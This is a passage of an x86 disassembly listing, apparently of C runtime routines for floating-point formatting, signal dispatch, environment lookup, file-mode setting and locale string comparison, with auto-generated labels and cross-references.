		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F05F7h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F05F7h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28F049Bh
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
